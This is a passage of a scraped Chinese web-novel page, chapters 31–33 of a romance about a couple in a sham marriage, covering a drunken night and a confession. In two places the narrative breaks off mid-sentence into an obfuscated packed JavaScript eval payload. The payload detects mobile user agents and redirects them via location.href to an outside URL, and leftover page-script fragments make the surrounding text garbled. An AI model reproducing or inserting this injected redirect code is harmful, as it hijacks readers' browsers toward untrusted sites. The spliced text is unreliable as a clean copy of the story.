和一个喝醉酒的人讲道理,他也是服了他自己,但看到夏冬意委屈巴巴,又眼泪汪汪的样子,他就心软了。 夏冬意觉得他这话好奇怪,虽然她喝了很多很多的酒,脑筋却清晰无比:“凭什么我不能来这里,你还每天出入酒吧呢,我点个男模怎么了, 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也因为这长相和模样,从小她就讨大人喜欢,是名副其实的团宠,傅亭斯脾气再差,对夏冬意还是收敛着的,因为打小家里人就跟他灌输要让着夏冬意的思想,对她那些让人无法理解的行为,他当然也生气,但也只能忍着。慢慢的,竟也忍成了习惯。 习惯是多么可怕的一件事。 夏冬意抽抽搭搭的哭,边哭边将染着眼泪的手往傅亭斯衣服上擦,嘴上却还是停不下来,控诉他的行径:“你来酒吧我凭什么不能来,你点那些小姐,凭什么不让我点?” 傅亭斯胃又疼了,他压住腹部,撑了撑暴跳的额角,忍着脾气开口:“我点小姐?” 他站起来,气得口不择言:“麻烦你搞搞清楚,我已经有老婆了,我为什么要找小姐?夏冬意,我是有多么拿不出手,你要泼我这种脏水?” 天哪。 傅亭斯给她气得头也痛起来了,捂住额头。 天哪。 他是多么没人要,竟然要沦落到找小姐的地步? 夏冬意,她是想气死他吗? “我不管你,你也别管我,”夏冬意说道,“你不是答应过我的,一年为限,你答应过我的。” “我的答应可以不作数。” “你怎么可以这样?”夏冬意睁大了眼睛,像是受到欺骗了一样,“你说话不算话,那我也要反悔,我后悔了,我后大悔,我超级后悔,我后悔无比,傅亭斯,求求你,和我离婚吧。” 夏冬意又啜泣起来。 傅亭斯重新蹲回她面前,不为所动:“后悔也没用,我是不会和你离婚的,省省力气吧。” “为什么?”夏冬意看不懂他了,更不明白他的话,“你为什么不愿意离婚?” 傅亭斯脱下外套,盖在她裸露的肩上,这才低头深深地注视了一眼夏冬意。 “想知道答案吗?”他嗓音轻淡,在金属般的灯光下,不带一丝情绪。 夏冬意茫然又不解地望着他。 接着,她身体腾空,傅亭斯将她抱了起来。 她错愕地抬起头,迎上他黝黑深邃的眼神,听到他低低地说道:“如果不是你先来招惹我,我本都打算放弃了。” “咚咚,你要知道,没有人会对唾手可得的幸福说不。” 哪怕,你从来没有喜欢过我。 我依然,不会轻易放开你。 31. 小狗不听话 傅亭斯把夏冬意抱进副驾驶,系好安全带稳住她后,没有马上离开,而是探身打开了车内的照明灯,重新撤回身来,抓起她的手。 夏冬意不太高兴,她没忘记刚刚在包厢,他是怎么凶她的,还把她的手抓的那么疼,条件反射缩回手,藏到背后。 “你别碰我。”她嘟囔一声。 傅亭斯盯着她看了几秒,叹口气,语气里有他不自知的心软意味:“给我看看,有没有抓疼你。” 听他这么说,夏冬意这才委屈地瘪了瘪嘴,把手伸出来,给他看上面红的一片,垂着眼,长睫毛覆盖在上面,很可怜的说:“疼死了,你下次再这样,我就咬你耳朵,把耳朵咬下来喂流浪狗。” 明明是挺蛮不讲理的话,但被她软糯的嗓音说出来,总像是在撒娇,一点没有本该凶巴巴的感觉。 她的皮肤薄,又白,稍微用点力,就会留下痕迹。娇滴滴的一个姑娘家,从小到大没吃过多少苦,长辈就算是稍微说一句重话都舍不得,才养出了她这样的小孩子心性,就算闹脾气也单纯可爱。从来都是她生别人的气,哪里忍受得了这样的委屈。 傅亭斯只看了一眼,心疼就爬上来了。他有些后悔,刚刚确实对她太凶了。 傅亭斯低着眉眼,指腹在她的手腕上轻抚着,动作小心又轻柔。听到这姑娘低低抽了抽气,他抬起眼眸:“疼吗?” 夏冬意眼里泪汪汪的,像是被疼哭的,鼻尖翘翘的,红红的,睫毛湿漉漉的,“嗯。”她点点头,“火辣辣的疼,你刚刚真的好凶。” 两人隔着很近的距离,傅亭斯只要稍稍再往前凑近一点,脸颊就能触碰到她的睫毛,她的呼吸轻轻浅浅的,裹着酒香撩人。他的大脑在那个当下,也像是被酒意熏染了,目光不受控制地移到了她娇俏的唇瓣,饱满的如同鲜花花瓣那样诱人,听不清她在说什么,脑海中跳出了那天接吻,所有的细节,他想再次品尝她的味道。 忍不住咽着喉咙,喉结上下滚动着。傅亭斯偏过头,慢慢靠近,右手习惯性攀上去抚在她耳侧。夏冬意不懂他的意图,她醉得厉害,不能像平时那样去思考,大脑神经却活跃异常,一切说话做事都出于本能,这会儿只觉得傅亭斯好奇怪,他干嘛要凑这么近,害得她呼吸更困难了,心也乱跳着,她很不喜欢这种感觉。 她把手搭了上去,按在他松软的发顶上,想把他往外推一点出去,但现下脑子里想的却是,她好像也并没有太生傅亭斯的气。 于是,她就像摸傅小狗一样,抚摸着傅亭斯的头,一下,一下,轻轻地说:“不过没关系,看在你态度不错的份上,就原谅你了。但你以后,不要对我这么凶了,我真的会哭,就像这样——” 说着,她嘴角一窝,眼角耷拉下来,呜呜呜呜地哭出声来。 在她的手轻轻按在头顶上的时候,傅亭斯就像被按下了暂停键,迅速回归了理智,等夏冬意说完这番话,他已经收起了所有情绪,重新撤回去,和她保持一段安全的距离。 就在傅亭斯站起来的时候,衣角被一只白皙纤细的手拉住。 他垂眼,看到她仰着头,一脸认真地看着他说道:“你不谢谢我吗?” “谢你……”他轻淡的,似敷衍般问道:“什么?” 那窝在座位里,身上盖着他外套的姑娘,圆圆亮亮的眼睛带着酒精渲染下的迷离,有种平常没有的魅惑,看着他,语气轻飘道:“如果不是我大人有大量,你肯定愧疚死了。” 男人单手抄着口袋,低头望着那双灯光下盈亮的眼睛,一秒,两秒,时间仿佛静止。 目光无声对峙中。 他突然勾唇一笑:“我谢谢你。” 随即关上门,走回驾驶座。 车开出好一段路,夏冬意始终睡不着,折腾了一晚上,虽然她有点累,但大脑神经处于异常亢奋状态,她靠着椅背,看着傅亭斯正开车的侧脸,想到马上就要回到那个空荡荡什么都没有的房子,刚刚包厢里热闹的气氛还停留在她身体里,没这么快能离开,内心难免产生强烈的落差感。 如果没和傅亭斯结婚,那她还是自由的一个人,不会被他这样管东管西,怪不得会有“婚姻是坟墓”的说法,她为什么选择和他结婚,不就是图他俩知根知底,满以为他会信守承诺。 没想到这家伙翻脸不认人。 至于他为什么不想离婚,那也很好理解。这会儿,夏冬意大脑尤其畅通活跃,她觉得自己应该原谅傅亭斯的所作所为,对他持包容的态度,因为毕竟这件事也不全是他的责任,她也有一半责任需要承担。 为了达到自己的目的,夏冬意决定站在傅亭斯的角度上,给于理解和尊重,俗话说得好,事缓则圆。思来想去一番,她打算循循善诱,慢慢引导。 傅亭斯专心开着车,似乎并不打算和她闲聊。他不开口,那就只能由她来起头,是开门见山呢,还是绕一下呢,这对现在的夏冬意来说,不算什么问题。 喝醉了的人,没能像清醒那么轻松自如地控制自己的嘴巴,憋不住,打破了静寂:“我有话要说——” 傅亭斯侧过头来,车窗外的流光划过他的脸,他垂眸淡淡扫了眼她,说道:“离婚不用想了。” 夏冬意眼睛亮了亮:“你怎么知道我要说这个?” 傅亭斯轻哼一声。 夏冬意心里想什么,脸上都写着,傅亭斯比了解自己还了解她,不需要看也知道。 “我以为刚才已经说的够清楚了。”傅亭斯收回视线,了无情绪的说道。 这么寡淡的语气,显然是不想继续这个话题。 夏冬意却在回忆着,他说了什么? 她有时候会觉得,傅亭斯的话很高深莫测,明明说的是中午,她是一句都听不懂。 当时听完那个话,夏冬意只是呆了呆,她没有处理感情的经验,又或者说,这些复杂的情感是她不理解的人。对听不懂的,无法消化的话,都是自行掠过的,就当是没听见,也不会在心里留下任何痕迹。 就像现在,夏冬意假装没听见他的话,自说自话:“我知道你不想离婚的原因,就是脸面上过不去,没关系,我不会让你吃亏的,到时候说起来,就说是我的问题,不会让你白离的,我会和爸妈商量怎么补偿你。我知道你和我那些相亲对象不一样,不是图我家的钱才和我结婚的,我总不能让好哥儿们吃亏吧。” 这就像是睡完以后拿钱砸他:没事的,我不会让你白睡的,这些钱,就当是服务费。 他付出的感情,被她这样践踏。 傅亭斯这回是气得头也痛,胃也痛,他知道必须冷静一下,不能和她发生争论,也不能再和她呆在这里,要不然,他不确定自己会不会失控。 傅亭斯把车停在路边,解开安全带,甩上车门走了。 门砰的一声,震动空气,他的火气不小。 夏冬意不解地望向他的背影,不明白,到底又怎么了。 夏冬意叹着气,心想,傅亭斯这人情绪这么不稳定,也只有她能忍受得了。这会儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14596868|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她却困了,迷迷糊糊睡着了。 醒来以后,夏冬意睡在沙发上,手上已经上过药了,屋里很安静,傅亭斯不知去了哪里。 夏冬意坐起来,她酒还没醒,头很晕,桌上堆放着几个装药的袋子,一些胃药和碘伏棉签等外用药扔在上面,旁边还有一瓶没喝完的红酒。 夏冬意赤着脚,趴在茶几前,拔掉瓶盖,对着酒瓶咕噜咕噜大口喝起来。酒肉穿肠过,可惜没有肉,不过有酒也不错了。她今天心情说不出来的郁闷,酒精上头,脑子里才没有那么多杂念,让她觉得好舒服。 就这么喝掉了一瓶。 夏冬意也完全醉掉了。 傅亭斯回来,手里拿着一个礼盒,是白天特地去奢侈品店买给她的包。 夏冬意最大的爱好就是买包,只要她心情一不好,哄她开心最好的方法就是给她买包,因此傅亭斯对这种女生的奢侈品都蛮有研究的。这款包是最近刚出的限量贩,傅亭斯还是托了人才弄到的,刚才上来的时候,因为要抱着她,来不及拿上来,没想到这才去了没几分钟,这人就又开始喝酒了。 赤着双脚,弯腿坐在茶几前的毛毯上,托着下巴,眼神已经茫了,看起来很有点媚眼如丝的勾人味,盖在身上的衣服已经不见了,肤色胜雪,对他晃了晃手中的酒瓶,笑着道:“你是几号男模啊,来陪我喝酒呀。” 傅亭斯随手把包放在旁边,走过去拿开她抱在怀里的酒瓶,却反被夏冬意抱住了脖子,整人贴到怀里,双腿盘在他腰上,整个动作行云流水,非常熟练,像是已经这样干过不少回了。 酒瓶滚落在地毯上,傅亭斯猝不及防,被她压到地上,骑在身上,那双小手极其不安分,扒开他的衣领,低头就在上面吸了几口。 傅亭斯身体都僵了,血液冲到头顶,想把她从身上推下去,根本使不出力,她动作很笨拙,在他脖子上,锁骨上,到处留下自己的痕迹。 酒气和温软的呼吸并存,真是要了他的命。 最后一丝理智,将傅亭斯从沦陷的边缘拉回来,将趴在身上的姑娘拽起来,问她话的时候,嗓子都是哑的。 眼眸黑的如同墨汁滴水:“夏咚咚,你看清楚,我是谁?” 夏冬意歪头瞅了他好一会儿,突然弯眸一笑,重新俯下去抱住他脖子。轻轻说:“我知道呀,你不是我叫的男模,你是俯亭斯。” “那你怎么……”他呼吸变得粗重,嗓音干哑性感。 “刚刚我有好好想过,”夏冬意继续在他身上“种草莓”,间隙说道:“反正你也不肯离婚,那我不能委屈了自己,浪费这么好的资源……” 话音刚落,夏冬意惊呼一声。她被傅亭斯翻身压住,傅亭斯手撑在地上,身体紧绷,垂着眼,目色沉沉望着身下的人:“今天来不及录音了,如果明天你反悔了,我也只能——” 还没说完,他俯身含住那张他贪恋了一晚上的唇。 吸吮一下,而后松开她,认真看着那双蕴着水的眼睛,微微吃惊地看着自己,傅亭斯笑了笑,轻轻捉住她的手腕抬到头顶,低头就是一记深长的吻。 明天你是一定会反悔的。 但幸好,你在我身上留下了,对我心怀不轨的证据。 还有一句话,要等你清醒时才能告诉你的。 就是—— 我喜欢你,咚咚。 从很久很久以前,就喜欢你了。 今天这个吻,就算是我为了自己这么多年的情不自禁,向你索取的,一点点的糖。 32. 小狗不听话 这一觉醒来,夏冬全身散了架,好像被人揍了一顿。 坐起来开灯,看到房内的陈设,和身上皱巴巴的,被推到腰上的裙子,手腕上还多出了抓痕。 天塌了呀。 夏冬意像被剥夺了思考能力,呆坐了片刻,重新找回思绪。 昨天晚上发生了什么,是谁把她带回来的?傅亭斯吗?可她明明告诉过他,最近都不要见面了。她也不打算回来这里。 夏冬意敲了敲头,表情痛苦。 怎么就一点都想不起来了? 夏冬意猛地跳下床,光脚踩在地毯上,捞起桌上的包,从中取出手机,打开锁屏,点开微信,直到看见和傅亭斯的聊天框内,那几张照片。 夏冬意心脏一缩,手机差点滑落。她当场像是被雷击中,石化在原地。 这迷离的眼神,这销魂的动作,就算是当事人,也无法理解和消化。啊啊啊啊这一定不是她! 几秒后,夏冬意开始反思。 她……昨晚……玩的这么……花吗? 天!她竟然是这种人!喝醉酒果然什么都干得出来。 那昨晚,没和男模发生什么吧?夏冬意头痛欲裂,双手按着脑袋两侧的太阳穴,陷入回忆。 她倒是不担心傅亭斯会对她做什么,毕竟认识了这么多年,如果不是信任他的人品,夏冬意也不会找他结婚。 等等。 夏冬意敏锐地意识到一点,傅亭斯的人品,也不是那么靠得住的。 答应的事他还会反悔呢,上次还无缘无故亲她。还说什么,让她补偿他那种屁话。 她又不是傻的。 昨晚,他该不会趁机让她履行夫妻间那啥义务吧? 啊啊啊啊啊,那她不是亏大发了吗? 夏冬意被脑内丰富的小剧场吓的一哆嗦,鸡皮疙瘩都爬上来了。比起那些男模,她更担心傅亭斯。 这家伙,人面兽心,连毁约的事都做得出来,还有什么事是他做不来的。 夏冬意搓着手臂上的鸡皮疙瘩,打开衣柜内侧的穿衣镜。 昨天那身抹胸裙还穿在身上,从手臂到锁骨、肩膀以及前胸,莹白的肌肤一览无余,灯光下,半透明似的,没有一丝瑕疵,也没有任何印记。夏冬意低头撩开裙摆,正查看大腿上。 门被人打开。 傅亭斯拎着个药袋,站在门口,那一截莹润曼妙的长腿,白的反光,毫无预兆地冲入他眼帘。 他动作顿了顿,接着神色自若地收起目光:“在这秀美腿呢。” 夏冬意放下裙子,扭身坐在床沿上,一条腿抬起,架在另一条腿上,抬着头直勾勾瞧着他道:“是啊,我在检查身上,昨天晚上有没有被你这衣冠禽兽吃豆腐。” 傅亭斯轻嘲一笑,随手把药袋扔桌上,站她面前,微微俯身,灯光的阴影笼罩在头顶,夏冬意莫名抬头,视线相交一瞬,傅亭斯微笑着,扯开衬衣的领口:“放心,你绝对的安全,只是我,就没有这么好运了。” 他的语气有些淡淡的惋惜和遗憾,仔细品味,还有一点点的玩味在里面,轻淡的,恰到好处的戛然而止,投来一个意味深长的眼神暗示。 与此同时,夏冬意目光定在他身上,表情从茫然,到疑惑,再到震惊,害怕,挣扎矛盾……短短几秒,似乎经历了一番大悲和大喜。 傅亭斯好整以暇欣赏着她丰富的表情。 过了几秒,他问:“看完了?” 夏冬意视线仍旧直直定在他的胸口和锁骨上,那一片蓬勃的,潜藏着欣欣向荣的,蓬勃生命里的腱子肉上,布满了密密麻麻的吻痕。 夏冬意眼睛都直了,大脑已经不会思考了。 “有什么感想?”傅亭斯站起来,修长的手指慢条斯理地整理着衣服。 夏冬意摇摇头:“这不是我干的,我没那么饥不择食。” “哦?”傅亭斯垂下眼,轻扫过她。 她会否认,他并没有感到太意外。 夏冬意大脑开始飞速运转。 “没准是你自己画上去的,或者是,你这个寂寞的男人,昨晚自己找了小姐,然后栽赃给我。” 傅亭斯平静地望着她,手指一颗一颗,系着纽扣。而后,忽地一笑:“我也没说是你啊,看看,脸都红了。” 夏冬意想死的心都有了。她跳起来将他往门外推去:“我怎么知道你什么意思,一大早不上班,闲着没事捉弄我很好玩吗?” 傅亭斯被她推着,往后倒退了几步,衣领严丝合缝地贴在脖子上,他微微仰着脸,用手指了指脖子:“你说怎么办?” 夏冬意一抬眼,瞥到那留下的淡淡红痕。 脸唰的一下,爆红。 沉默中,夏冬意又往他脖子上扫几眼:“真的是我啊?” 傅亭斯走回来,坐在床上,看着她,轻叹气:“你说呢?” 啊啊啊啊啊啊。 真的是她。 夏冬意双手捂住脸,不停地摇头:“不可能不可能,”她还在试图催眠自己,不肯接受这个现实,“要是真这样,以你对我觊觎多年的狼子野心,你怎么可能没有起一点色心。” 她只能以这样的说法,让傅亭否认。 他们之间经常以“你暗恋我”或者“你觊觎我的美色”这样说辞恶心对方,但实际上,夏冬意清楚,从小到大傅亭斯就没有缺过追求者,他这样的人怎么可能暗恋谁,如果真的暗恋她,也不会拖到现在。 而且结婚也是她求他的,他当时还老大不愿意的。 而她自己,肯定也是不喜欢傅亭斯的,无论这人在别人面前多么优秀,多么美好,多么厉害,但是见过他真正的那一面的夏冬意,丝毫不存在那样的滤镜。 她有自己的择偶标准,绝对不是傅亭斯这样的。 她打心眼里希望傅亭斯能否认,然后告诉她,这是他的一场恶作剧,和以往的恶作剧一样,就像每一次玩梗那样,只为了心照不宣的默契。 但是这一次,傅亭斯却坦承了。 “是啊,觊觎你的美色确实许多年了。”他认真注视着她浅色的瞳仁,温柔的说道:“我也算得偿所愿了。” “你看,”他张开嘴巴给她看,“昨晚你非要亲我,傅小狗都没你这么会咬人,给我咬了一嘴的血。” 他的目光那么温柔地望着她。 温柔的不像傅亭斯本人。 夏冬意脑袋嗡嗡的,她甩了甩头,迷茫看着他:“我怎么一个字都听不懂,你说什么,你……我?” 她的手指在自己和傅亭斯之间来回比划。 夏冬意发誓,以后再也不喝酒了。 但他说到傅小狗,提醒了傅冬意。 问他:“你昨天有没有遛傅小狗?” “放心,傅小狗是我们一起养的,我很重视和它培养感情,以免以后它不喜欢我了。” “那你的过敏……” “不碍事。”傅亭斯神色淡淡,伸手拉过夏冬意,低头检查她手腕上的红痕,经过了一晚上,已经褪下去了,低头耐心帮她上药,一边悠悠闲闲地说着话:“色心不是没有,但趁人之危这种事,我还做不出那种人渣的事情,”他抬头看了看已经懵掉了的夏冬意,“其实那天晚上,我想跟你谈的事情。” 他深深地注视了一眼她。 夏冬意仿佛收到了什么信号,人还是懵着,但潜意识里似乎是已经意识到了,她突然有些害怕听到他接下去的话了。 “傅亭斯,”夏冬意脑子很乱,很多很多声音在耳边混杂着,让她听不到心底的声音,她打断他的话,急不可耐地说道:“我不想听。” “我喜欢你。” 两人同时出声。 一片死寂中,夏冬意抽回了自己的手。 假装自己没听见他的话一样,转身去衣柜里拿上衣服,丢下一句:“我上班要迟到了,先去洗澡了。” 头也不回地走进了浴室。 傅亭斯望着她的背影,手里的棉签被他折断。 他比任何人都清楚,夏冬意不愿意接受这件事。 每一次她选择逃避,或者内心反抗,不愿意接受的时候,就会假装听不见来化解。 从小到大都是这样。 傅亭斯捏紧了搭在膝头的手,棉签折断处尖锐的裂口戳进手心,他似乎都感觉不到。 她需要冷静。 她需要好好冷静一下。 为什么会变成这样? 关上门,夏冬意脚步放慢,最后停止在镜子前,打量着里面的自己。 回忆着刚刚傅亭斯说那句话的表情和语气。 心狠乱很乱。 事情并不是如她期望那般发展,已经完全朝着失控的状态蔓延。她甚至觉得这是傅亭斯的恶作剧,为了留她在这段婚姻中的恶作剧。 至于他的目的。 大概是不想离婚吧。 其实夏冬意也知道,他们两个如果离婚,会弄得很麻烦。两家关系太紧密,也太好,退一万步来说,离婚对傅亭斯来说是弊大于利的。 哪怕不是为了父母,他的事业,他的工作,都不容许他离这个婚。 所以为了不离婚,他也可以假装爱她。 夏冬意听到了一颗心轻轻碎掉的声音。 — 夏冬意这次洗了好久,下楼的时候,傅亭斯已经出门了,把车留给了她。 沙发上放着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600962|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个包,上面贴着一张字条,是他的手写字,很简单的一句话,这是送给她的赔罪礼。 像是怕她没看到,傅亭斯还特意发微信提醒她,沙发上有个包是送给她的。 但这次,夏冬意没有接受他的包,也没有回他的信息,更没有开走他的车。 她把傅亭斯的信息冷处理了,叫了部车直接到公司。 在车上处理消息。 闺蜜私人小群里昨晚就炸开了锅。 夏冬意草草扫了两眼。都在说傅亭斯昨晚发了好大一通火,郁吱吱说她都吓到了,都没来得及拍视频,还说下次绝对不带咚咚去酒吧了,风险太大,这丫的谁能想到玩这么野。 昨天晚上玩的多野,夏冬意是怎么都想不起来了,但今天早上起来身上一系列反应,也足以看出来昨天晚上的惊心动魄。 别说郁吱吱她们不带她玩了,她自己都不敢再去酒吧野了。 一回到公司,夏冬意刚把包包摘下扔在桌上,电脑都没来得及打开,郁吱吱就来了。趴在她的办公桌上,对她眨巴眨巴眼睛。 夏冬意勾过椅子坐下,打开电脑,间隙扫她一眼:“眼睛怎么了?” 郁吱吱贼笑道:“昨天晚上回去之后没发生什么吧?” 夏冬意头疼地揉了揉脸:“忘记了。” “啊?这你也能忘了?” “喝断片了呀,”夏冬意叹气,“以后打死我都不喝酒了,太丧心病狂了。” 丧心病狂?这个词郁吱吱喜欢,嘿嘿笑道:“你俩昨晚真没发生啥啊?” 夏冬意转头看过去:“我说发生了,你相信吗?” “这哪能不信,太信了呀,不过,你今天早上没请假倒是挺稀奇的,”郁吱吱又对她眨眨眼,“怎么样,翘臀帅哥活好吗?” 这眼睛绝对是有什么问题,要不然冲她眨个不停干什么? “还没到那一步好吗?”夏冬意脑子里乱糟糟的,早上傅亭斯的话在耳边荡来飘去,搞得她都没法专心工作。 “而且就算有,我都断片哪能知道。”夏冬意随口敷衍。 心里却在想,她得面对现实,也许这个婚真的离不掉了,她总不可能欺骗她的好朋友们一辈子吧。 况且,还有婚礼。 虽然傅亭斯已经答应她延后举办了。 但是…… “吱吱,”夏冬意思考了一番之后,认真对她说道:“有一件事我要跟你说实话,就是……”她顿了顿,像是在犹豫要怎么说。 “什么事儿啊,咱俩之间你还有啥不能说的呢。” 这话听得夏冬意心里一阵愧疚,觉得更不应该隐瞒了。 索性一口气说道:“我其实结婚了,就在前阵子,和傅亭斯。” 本以为郁吱吱会一时消化不了,没想到她摆摆手,一脸“我就知道”的表情,“我又不是傻,你以为我看不出来啊,真的,夏咚咚,你演技真的差得要命,以后别演了,实在太烂了。而且你说如果只是暗恋你,和你是青梅竹马,你俩再怎么样也不会那么亲密啊,他对你的占有欲真的,啧啧啧,傻子看不出来你俩这点猫腻。” 夏冬意有点泄气:“我演技真有那么烂吗?” “烂、透、了!”郁吱吱很好奇,“你为什么不肯承认呢,还有你这已婚少妇,在外面点男模的操作,啊,我的天哪,傅亭斯昨天晚上肯定狠狠地把你吃光抹净了。” 小黄人郁吱吱大脑里又开始形象生动地描绘了起来。 夏冬意不忍心告诉她,傅亭斯倒是没对她做出什么越轨的事情来,倒是她……不忍直视。 夏冬意十分不想再回想那个画面,也万分懊悔,头疼的说:“我俩结婚其实是为了糊弄父母,我不告诉你也是因为,本来说好的一年之后就离婚的,但他今天早上跟我告白了,应该算告白吧。” 虽然她觉得,十有八九那是傅亭斯的计谋。 虽然心里知道是一回事,但她这满嘴跑火车的毛病改不掉,夏冬意故作苦恼地叹口气:“哎,都怪我这该死的魅力啊。” “早知道会有报应,就不答应他的求婚了。” 郁吱吱想起来,之前夏冬意说过,傅亭斯跟她求婚过好多好多次。 虽然她觉得,这跟夏冬意刚刚那番阐述存在逻辑差异,但那个当下,也没多想,只觉得,啊,我们咚咚真有魅力啊。 但是,郁吱吱很困惑:“报应一说,从何谈起啊?” 夏冬意再一次烦恼了起来,轻晃了晃脑袋,慢吞吞说道:“让他爱上这么完美的我,是对我的报应。” 郁吱吱:“……” 对于这么自信的夏小姐,作为好朋友不知道该说什么好了。只能祝福她吧。 33. 小狗不听话 郁吱吱走之前问了她一个问题:“你怎么会觉得他喜欢你是报应?” 这只不过是夏冬意信口开河胡乱扯鬼扯,但她还是顺着话意,好好反思了一下,她为什么要这么说? 理由也很简单。她是这么回答郁吱吱的:“那是因为这家伙外表看起来确实人模狗样,但如果你和他真正相处过,我说的不是一个月两个月这种段时间的相处,而是十年二十年这种,那你就不会对他有任何幻想空间了。” 至于为什么没有幻想空间,能举出的事例太多太多,随便拿出一件都是夏冬意不能忍受,也无法理解的。比如小时候,他每次去她家,尤其是两个人单独的时候,就往那沙发上一趴,底下再抱个抱枕,让她给自己按摩,还说什么,按摩好了有打赏。你说气人不气人。 夏冬意那时候也是老实巴交,就真给他按摩了,先是用手给他捶背,他还在那挑剔个不行:太轻了,没力气,旁边的位置也按一按,脖子揉一下……真把她当丫鬟使了。 夏冬意没耐心了,跳上沙发,在他背上踩来踩去,傅亭斯一边鬼叫“腰断了”“我是让你按摩不是让你杀人”,但饶是这样,下次还是照旧,好像永远不会吸取教训似的。 最气人的还不是这点,是他在她父母面前,永远都是斯文大方,举止得体,很有涵养,表现出良好的教养,让夏爸和夏妈夸不绝口。每次两人拌嘴,父母都会向着傅亭斯,总说“小斯经常让着你,你也要多让让他”。 每次这时,夏冬意都是有苦说不出,在没人的时候,给傅亭斯再多来两拳泄愤。 如果这就是他所谓的喜欢,夏冬意觉得自己是无福消受了。 如果换做是一个好脾气的姑娘,再加一条,像郁吱吱这样的颜控,这些事可能也就过去了。但夏冬意不是,她脾气不好,任何关系当中都要处于主导地位,也没有她说的那么颜控。 论颜值,身形等外在条件,夏冬意知道,自己不想承认也得承认,傅亭斯绝对是她从小到大遇到过的男生当中,最好的。是最好的,没错,但是夏冬意从来没想过要和他有除去朋友以外的身份。 一个人的这张脸,看了十年二十年三十年,是真的会看腻。傅亭斯长得美还是丑,夏冬意是没有太大感觉的,她对美好的爱情也是充满向往的,她心里理想的恋人,从来都是定位清晰:要绝对的温柔,绝对的百依百顺,要臣服于她,要对她惟命是从。而不是傅亭斯这样,一天到晚气她。 当然,傅亭斯也不是没有优点。 如果他不是某一方面或者某几方面,能让她另眼相看,夏冬意也不可能和他做朋友。 本质来说,夏冬意这个人有点慕强,但她并非性缘脑。 不是所有她欣赏的男性都有机会发展成男女关系的。 傅亭斯这个人,做朋友是很好的。他仗义,身上还有一点侠客的味道。初中那会儿,他读书虽然不好,但班里上到老师下到同学,没有一个不服他的。他的课桌里塞得最满的就是情书,还有各种零食点心,爱心早点,早午饭都有人带,如果他愿意,这三年里,哪怕不去食堂也饿不死,坐在教室里就会有人给他送饭来吃,事件中唯一的受害者就是夏冬意了,因为和傅亭斯关系最好而备受瞩目,还给他当了三年的信差。 这也是为什么她死活不愿意和傅亭斯上同一个高中,还反复跟他说,让他尽量在高中低调做人,当时傅亭斯是答应了,还跟她说他在高中没有什么人认识他,但因为长得太帅了,校草是难免的。夏冬意信了,但最近,也就在前几天,她发现这家伙在高中还是一样,所以又被他骗了,还一骗好几年。 高中的傅亭斯怎么轰动,夏冬意不了解,也没兴趣去打听过,但从他初中那些事迹中也能推测一二。初一下学期,班上有个男生被隔壁班欺负了,傅亭斯弄清楚事情的原委,确定是对方班级仗着人多占人便宜。被欺负的同学叫何泽堃,后来也成了傅亭斯的朋友。 何泽堃家里条件不好,父亲早亡,奶奶和母亲支撑着这个破碎的家,他也懂事,学习成绩一直名列前茅,在班上不声不响,很没有存在感的一个人,就是在下课走廊上,不小心撞到了对方男生。何泽堃生的黑黑瘦瘦,没有什么营养的样子,看起来是很不错的欺凌对象。当场何泽堃就被对方几个男生揍的鼻青脸肿。 这事儿确实是闹到了教导处,但对方是个刺头,老师也拿他没办法,就象征性批评几句,写了份检讨就放行了,当这件事从来没有发生过一样,轻描淡写,就这么过去了。 隔壁班很多男生都拿何泽堃,甚至后来上升到他们全班,当笑料一样散播开去,言语中全是轻慢。 那两天傅亭斯正好去市里参加篮球比赛去了,回来以后就听说了这事,他也没怎么表态,当天下午体育课,两个班男生正好一起打篮球,经过这一遭,何泽堃害怕再遇见那个刺头和他的跟班,不敢参加。傅亭斯拉着他去了,团结全班男生在球场直接给了隔壁班男生好瞧。 很遗憾,夏冬意没有亲眼看到,她那时候在任课老师办公室帮忙改作业,但夏冬意深深记得,下课回到教室后,整个教室都在沸腾,傅亭斯好像英雄一样被大家谈论着,他们都说整场下来,他杀疯了。 隔壁那群窝囊废,脸都丢尽了,那刺头在傅亭斯面前,屁都不敢放一个。傅亭斯没有喊上班里的男生跟隔壁男生打群架,更没有和刺头单挑,他当然可以选择用这种最简单粗暴的行为,平息心里的火气,争一口气,必然也有大把支持他的,但是这里是学校,这样闹最麻烦的就是班主任,而还会有损班级荣誉。 于是他用自己的方式,讨回了这口恶气。 不止如此,事发第二天,他带着全班男生,每个人带着椅子,上晚自修的时候就坐在隔壁班级最后一排,不吵也不闹,但就是不走,班主任却没说什么,睁一只眼闭一只眼的,默认了他们的行为。 这就像是暗许,他们节节课上都去,就这样闹了两天,惊动了隔壁班主任,拉着他们班班主任怒气冲冲来了,傅亭斯站起来,很平静,跟对方班主任说,他们要参与这件事的人都道歉才能平息。隔壁班主任哑然了,更关键是,在傅亭斯和对方班主任对峙的时候,他们班主任在旁边,一句话都没插进来。 后来教导处老师来了两次,好说歹说都请不走他们。本身这就是隔壁班违反纪律在先,校方心知肚明,这会儿来了一头倔牛,非要刚到底,就很难办了。况且,他们没有做出任何出格的行为,就像是旁听生一样坐在人家教室后面,不吵也不闹的,也没打扰到其他人。没办法给于记过。 最后没办法,只能依照傅亭斯的要求,参与事件的人全都道了歉,刺头和他那几个打人的跟班也被记了过。 